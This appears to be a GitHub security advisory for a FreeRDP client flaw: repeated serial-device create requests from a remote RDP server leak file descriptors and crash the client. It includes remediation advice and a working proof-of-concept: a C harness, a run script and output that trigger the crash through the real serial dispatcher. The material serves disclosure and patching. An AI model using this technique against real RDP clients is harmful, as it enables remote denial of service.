Repeated serial create requests retain descriptors and can terminate the FreeRDP client
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
A remote RDP server can repeatedly send serial-device IRP_MJ_CREATE requests after a FreeRDP client has enabled serial redirection. serial_process_irp_create replaces serial->hComm without closing its previous value. On Linux, every successful WinPR communication handle owns five file descriptors, so unpaired creates accumulate descriptors for the life of the connection.
A bounded replay through the actual serial IRP dispatcher issued 215 creates and measured 1,075 retained descriptors. A matched create/close control retained zero. The next actual serial read terminated the process at CommReadFile's FD_SETSIZE assertion in the default WITH_VERBOSE_WINPR_ASSERT=ON configuration.
If verbose assertions are disabled and standard assertions are compiled out, the subsequent FD_SET has no runtime bound. A sanitizer replay with a descriptor above FD_SETSIZE observed a stack out-of-bounds write. This secondary behavior requires a descriptor limit above FD_SETSIZE and an assertion-disabled build; fortified libc may terminate instead. The demonstrated security impact is remote client denial of service and descriptor exhaustion. No code execution, confidentiality impact, or integrity impact was demonstrated.
Serial redirection is opt-in and must be negotiated for the server to reach this path. The replay uses the real dispatcher and real PTY-backed communication handles, but synthetic IRPs rather than a live RDP/TLS peer.
Remediation: Reject a create while a serial handle is already active, or safely close the prior handle before replacing it. Independently add runtime range checks before FD_SET or move the serial I/O path to poll/ppoll. Test repeated creates, failed replacements, matching closes, and high descriptor values with assertions enabled and disabled.
Proof of concept:
<!-- BEGIN FILE: harness.c -->
#define _GNU_SOURCE
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include "channels/serial/client/serial_main.c"
static int count_fds(void)
{
DIR* dir = opendir("/proc/self/fd");
if (!dir)
return -1;
int count = 0;
for (struct dirent* entry = readdir(dir); entry; entry = readdir(dir))
{
if ((strcmp(entry->d_name, ".") != 0) && (strcmp(entry->d_name, "..") != 0))
count++;
}
closedir(dir);
return count;
}
static void init_irp(IRP* irp, DEVMAN* devman, DEVICE* device, UINT32 major)
{
memset(irp, 0, sizeof(*irp));
irp->devman = devman;
irp->device = device;
irp->MajorFunction = major;
irp->input = Stream_New(NULL, 64);
irp->output = Stream_New(NULL, 32);
if (major == IRP_MJ_CREATE)
{
Stream_Write_UINT32(irp->input, GENERIC_READ | GENERIC_WRITE);
Stream_Write_UINT64(irp->input, 0);
Stream_Write_UINT32(irp->input, 0);
Stream_Write_UINT32(irp->input, 0);
Stream_Write_UINT32(irp->input, OPEN_EXISTING);
Stream_Write_UINT32(irp->input, 0);
Stream_Write_UINT32(irp->input, 0);
}
else if (major == IRP_MJ_CLOSE)
{
Stream_Zero(irp->input, 32);
}
else
{
Stream_Write_UINT32(irp->input, 1);
Stream_Write_UINT64(irp->input, 0);
Stream_Zero(irp->input, 20);
}
Stream_SealLength(irp->input);
Stream_SetPosition(irp->input, 0);
}
static void free_irp(IRP* irp)
{
Stream_Free(irp->input, TRUE);
Stream_Free(irp->output, TRUE);
}
int main(int argc, char** argv)
{
const BOOL attack = !((argc > 1) && (strcmp(argv[1], "control") == 0));
struct rlimit limit = { 4096, 4096 };
if (setrlimit(RLIMIT_NOFILE, &limit) != 0)
return 2;
const int master = posix_openpt(O_RDWR | O_NOCTTY);
if ((master < 0) || (grantpt(master) != 0) || (unlockpt(master) != 0))
return 2;
const char* slave = ptsname(master);
if (!slave || !DefineCommDevice("COM1", slave))
return 2;
SERIAL_DEVICE serial = { 0 };
DEVMAN devman = { 0 };
serial.log = WLog_GetRoot();
serial.device.name = "COM1";
serial.device.id = 7;
serial.IrpThreads = ListDictionary_New(TRUE);
InitializeCriticalSection(&serial.TerminatingIrpThreadsLock);
devman.id_sequence = 100;
const int before = count_fds();
for (int i = 0; i < 215; i++)
{
IRP irp;
init_irp(&irp, &devman, &serial.device, IRP_MJ_CREATE);
const UINT rc = serial_process_irp(&serial, &irp);
if ((rc != CHANNEL_RC_OK) || (irp.IoStatus != STATUS_SUCCESS))
return 3;
free_irp(&irp);
if (!attack)
{
IRP close_irp;
init_irp(&close_irp, &devman, &serial.device, IRP_MJ_CLOSE);
(void)serial_process_irp(&serial, &close_irp);
free_irp(&close_irp);
}
}
fprintf(stderr, "mode=%s fd_before=%d fd_after=%d\n", attack ? "attack" : "control",
before, count_fds());
if (!attack)
return 0;
if (write(master, "Z", 1) != 1)
return 4;
IRP read_irp;
init_irp(&read_irp, &devman, &serial.device, IRP_MJ_READ);
fprintf(stderr, "dispatching IRP_MJ_READ after repeated IRP_MJ_CREATE\n");
(void)serial_process_irp(&serial, &read_irp);
return 0;
}<!-- END FILE: harness.c -->
<!-- BEGIN FILE: run.sh -->
#!/bin/sh
set -eu
: "${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP source directory}"
: "${FREERDP_BUILD:?set FREERDP_BUILD to its configured build directory}"
SOURCE_ROOT=$(CDPATH= cd -- "$FREERDP_SOURCE" && pwd)
BUILD_ROOT=$(CDPATH= cd -- "$FREERDP_BUILD" && pwd)
HERE=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORK_DIR=$(mktemp -d "${TMPDIR:-/var/tmp}/freerdp-serial-create.XXXXXX")
trap 'rm -rf "$WORK_DIR"' EXIT HUP INT TERM
LIBFREERDP="$BUILD_ROOT/libfreerdp"
LIBWINPR="$BUILD_ROOT/winpr/libwinpr"
PRELOAD=$(ldd "$LIBWINPR/libwinpr3.so" 2>/dev/null | awk '/libasan\.so/ { print $3; exit }')
cc -w -DNDEBUG -ffunction-sections -fdata-sections \
-I"$SOURCE_ROOT" \
-I"$SOURCE_ROOT/include" \
-I"$SOURCE_ROOT/winpr/include" \
-I"$SOURCE_ROOT/channels/serial/client" \
-I"$BUILD_ROOT/include" \
-I"$BUILD_ROOT/winpr/include" \
-o "$WORK_DIR/harness" "$HERE/harness.c" \
-L"$LIBFREERDP" -L"$LIBWINPR" \
-lfreerdp3 -lwinpr3 -lpthread -Wl,--gc-sections
ulimit -c 0
set +e
ASAN_OPTIONS=detect_leaks=0 LD_PRELOAD="$PRELOAD" \
LD_LIBRARY_PATH="$LIBFREERDP:$LIBWINPR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
"$WORK_DIR/harness" attack >"$WORK_DIR/attack.stdout" 2>"$WORK_DIR/attack.stderr"
attack_rc=$?
ASAN_OPTIONS=detect_leaks=0 LD_PRELOAD="$PRELOAD" \
LD_LIBRARY_PATH="$LIBFREERDP:$LIBWINPR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}" \
"$WORK_DIR/harness" control >"$WORK_DIR/control.stdout" 2>"$WORK_DIR/control.stderr"
control_rc=$?
set -e
attack_line=$(grep '^mode=attack ' "$WORK_DIR/attack.stderr")
control_line=$(grep '^mode=control ' "$WORK_DIR/control.stderr")
attack_before=$(printf '%s\n' "$attack_line" | sed -n 's/.*fd_before=\([0-9][0-9]*\).*/\1/p')
attack_after=$(printf '%s\n' "$attack_line" | sed -n 's/.*fd_after=\([0-9][0-9]*\).*/\1/p')
control_before=$(printf '%s\n' "$control_line" | sed -n 's/.*fd_before=\([0-9][0-9]*\).*/\1/p')
control_after=$(printf '%s\n' "$control_line" | sed -n 's/.*fd_after=\([0-9][0-9]*\).*/\1/p')
attack_delta=$((attack_after - attack_before))
control_delta=$((control_after - control_before))
test "$attack_delta" -eq 1075
test "$control_delta" -eq 0
test "$attack_rc" -ne 0
test "$control_rc" -eq 0
grep -q 'fd_read_event < 1024' "$WORK_DIR/attack.stderr"
printf 'attack_fd_delta=%s\n' "$attack_delta"
printf 'control_fd_delta=%s\n' "$control_delta"
printf 'attack_exit=%s\n' "$attack_rc"
printf 'control_exit=%s\n' "$control_rc"
printf '%s\n' 'attack_sink=CommReadFile_fd_limit_assert'
printf '%s\n' 'result=VULNERABLE'<!-- END FILE: run.sh -->
<!-- BEGIN FILE: README.md -->
# FreeRDP serial CREATE descriptor-retention reproducer This source-only harness invokes FreeRDP's actual serial IRP dispatcher against a PTY-backed `COM1`. Attack mode sends 215 consecutive `IRP_MJ_CREATE` operations and then one `IRP_MJ_READ`. Control mode pairs every create with `IRP_MJ_CLOSE`. Requirements: - Linux with `/proc` and PTY support - a FreeRDP source checkout and matching configured build directory - the default `WITH_VERBOSE_WINPR_ASSERT=ON` build setting - a hard `RLIMIT_NOFILE` of at least 4096 - a C compiler and the development dependencies used by the FreeRDP build Run from this directory, substituting paths to the source and build trees:
FREERDP_SOURCE=../../FreeRDP \ FREERDP_BUILD=../../FreeRDP-build \ ./run.sh
The harness raises only its own descriptor limit. Its temporary binary and captured logs are removed on exit, and all descriptors close when each short-lived process terminates. It does not connect to an RDP server or alter the FreeRDP source tree. The runner uses `/var/tmp` by default because the binary must execute. Set `TMPDIR` to another executable temporary filesystem when needed.
<!-- END FILE: README.md -->
<!-- BEGIN FILE: observed-output.txt -->
attack_fd_delta=1075 control_fd_delta=0 attack_exit=134 control_exit=0 attack_sink=CommReadFile_fd_limit_assert result=VULNERABLE
<!-- END FILE: observed-output.txt -->
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 2.0.0-rc0, <= 3.31.1GitHub